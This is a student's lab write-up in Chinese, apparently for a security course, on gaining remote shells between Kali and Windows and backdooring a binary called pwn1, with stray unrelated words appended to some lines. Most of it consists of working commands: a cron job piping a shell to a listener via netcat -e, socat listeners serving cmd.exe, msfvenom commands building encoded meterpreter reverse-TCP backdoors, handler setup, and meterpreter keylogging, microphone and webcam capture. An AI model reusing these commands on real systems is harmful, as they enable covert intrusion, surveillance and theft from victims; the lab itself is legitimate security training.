本次實驗對象爲名爲pwn1的pwn1的linux可執行文件。程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。linux
該程序同時包含另外一個代碼片斷,getShell,會返回一個可用Shell。正常狀況下這個代碼是不會被運行的。咱們實踐的目標就是想辦法運行這個代碼片斷。咱們將學習兩種方法運行這個代碼片斷,而後學習如何注入運行任何Shellcode。web
實驗分爲五部分:shell
一、使用netcat獲取主機操做Shell,cron啓動 ;windows
二、使用socat獲取主機操做Shell, 任務計劃啓動 ;安全
三、使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell;網絡
四、使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權;tcp
五、可選加份內容:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell。編輯器
一、在本機的Windows下載netcat後,雙擊運行。打開命終端,輸入ncat.exe -l -p 5214
,對5214號端口進行監聽。
函數
二、在kali虛擬機中打開終端,輸入crontab -e
來添加一條定時任務,其中-e
表示編輯。第一次編輯時會提示選擇編輯器,選擇3。在最後一行加入39 * * * * /bin/netcat 172.20.10.4 5214 -e /bin/sh
(ip地址爲正在監聽的windows 的ip),保存並退出。這樣,系統在每一個小時的52分鐘都會執行該指令。學習
三、等待系統的39分到達後,能夠看到已經鏈接上了。在Winodws的命令行中輸入ls
,能夠看到linux當前目錄下的文件。
一、在Wiondws中搜索任務計劃
,在彈出的窗口點擊建立任務
,填寫任務名,在任務
欄下選擇socat.exe的路徑,而後在參數欄填寫tcp-listen:5214 exec:cmd.exe,pty,stderr
後,點擊肯定。在列表中右鍵選中剛剛建立的任務,點擊運行。
二、在linux的終端輸入socat - tcp:192.168.199.235:5214
(這裏說明一下,個人實驗並非一次性完成了,中間換了一些網絡鏈接,因此IP地址發生了變化)
三、進行調試。因爲編碼方式不一樣,因此咱們只能在命令行中對英文名字的文件進行操做。進入E盤的XAMMP目錄:
一、在linux中輸入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=5214 -f exe > meter_backdoor.exe
(這裏老師給的指導裏頭有一個地方打錯了,就是LPORT打成了'PORT)生成BackdoorOf5214.exe。
二、在linux下輸入msfconsole進入控制模式
三、輸入use exploit/multi/handler
四、輸入set payload windows/meterpreter/reverse_tcp
六、輸入show options
進行查看
七、輸入set LHOST 192.168.110.129
八、輸入set LPORT 5214
九、輸入show options
再次進行查看,能夠看到相應的ip地址和端口號已經變成我所設置的。
十、輸入exploit
十一、把BackdoorOf5214.exe發送主機上(預先關閉防火牆),而後雙擊打開,成功鏈接上:
十二、輸入dir進行查看
一、輸入record_mic
錄音
二、輸入keyscan_start
開始記錄鍵盤輸入,再輸入keyscan_dump
查看
三、輸入webcam_snap
拍照
四、輸入webcam_stream
攝像
剛看到這個題目的時候首先冷靜一下,從哪裏入手呢?仔細回想,在老師給的實驗指導書中,在剛提到meterpreter的時候:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-p 使用的payload。payload翻譯爲有效載荷,就是被運輸有東西。這裏windows/meterpreter/reverse_tcp就是一段shellcode
也就是說,咱們是否能夠改編這條命令來實現咱們想要的功能呢?試一試。
首先,-p參數是有效載荷。後面跟的是windows。咱們的pwn1是隻能在linux下運行的,因此這個地方確定要改;接着再日後看,-x是指定模板。咱們要生成跟pwn1功能同樣的、可是有後門的代碼,因此模板修改成pwn1;再日後,-e問題不大,由於咱們確實是要用x86來解決問題,x86後面一串看不懂,先無論,繼續日後;-i,-b應該沒問題,先無論;ip和端口分別修改爲kali的ip和5214;-f是文件類型。linux中可執行文件類型是不能直接看到的,在命令行輸入file pwn1
,得知類型是elf,因此這個地方也要修改,最後輸出的文件形式也要跟着修改。因而我進行第一次修改
發現是類型不對。上網搜一下「msf的載荷類型」,能夠知道在-p的後面應當是linux/x86......
,修改後再回車,此次沒報錯。
接下來進行測試。爲了方便,我直接kali對kali進行測試。先按步驟三的過程進行監聽,而後運行pwn2,發現鏈接上了,實驗成功。
一、在第一個任務中的修改crontab中,提示crontab的規則不正確
解決方法:首先是反覆查看輸入的代碼,沒發現錯誤。因而上網查找,後來發現是數字後面的四個*中間是有空格的。加入空格後解決了問題。
二、前幾天還能夠上網,今天突然上不了網。
解決方法:輸入ifconfig -a
,查看網卡的狀態,發現eth0網卡罷工了。進入/etc/network/interfaces
,在最後加入auto eth0
和iface eth0 inet dchp
後重啓網絡,解決了問題。
三、本次實驗我還遇到了一個問題,最讓我高興的也是解決了這個問題:第三步在同一臺計算機上虛擬機和本機鏈接是能夠成功的;若是使用兩臺計算機的話(A是kali,B是另外一電腦),在B雙擊後門程序是鏈接不上A的。
解決方法:經過仔細觀察,我發現本機鏈接的話,所顯示的鏈接地址是VMnet8的地址,也就是NAT模式的地址。我嘗試着在本機上把VMnet8的適配器給關閉了,而後再雙擊打開後門程序,這時候就沒法連上了。這不由引發了個人思考,我沒法在另一電腦B上鍊接是否是跟這有關呢?我嘗試着把虛擬機的網絡鏈接方法換成「橋接模式」,這時候再用B去鏈接A,成功了。
本次實驗更加貼近了咱們的生活,不由感到惶恐。。說不定之前個人電腦已經被入侵過無數回了,只是本身一直不知道而已。而這些內容在世界上知道的人也是少數。看來信息安全確實很重要。。掌握了攻擊的方法無異於掌握了一個強大的武器,厲害的話能夠來去無蹤,儼然網絡神偷。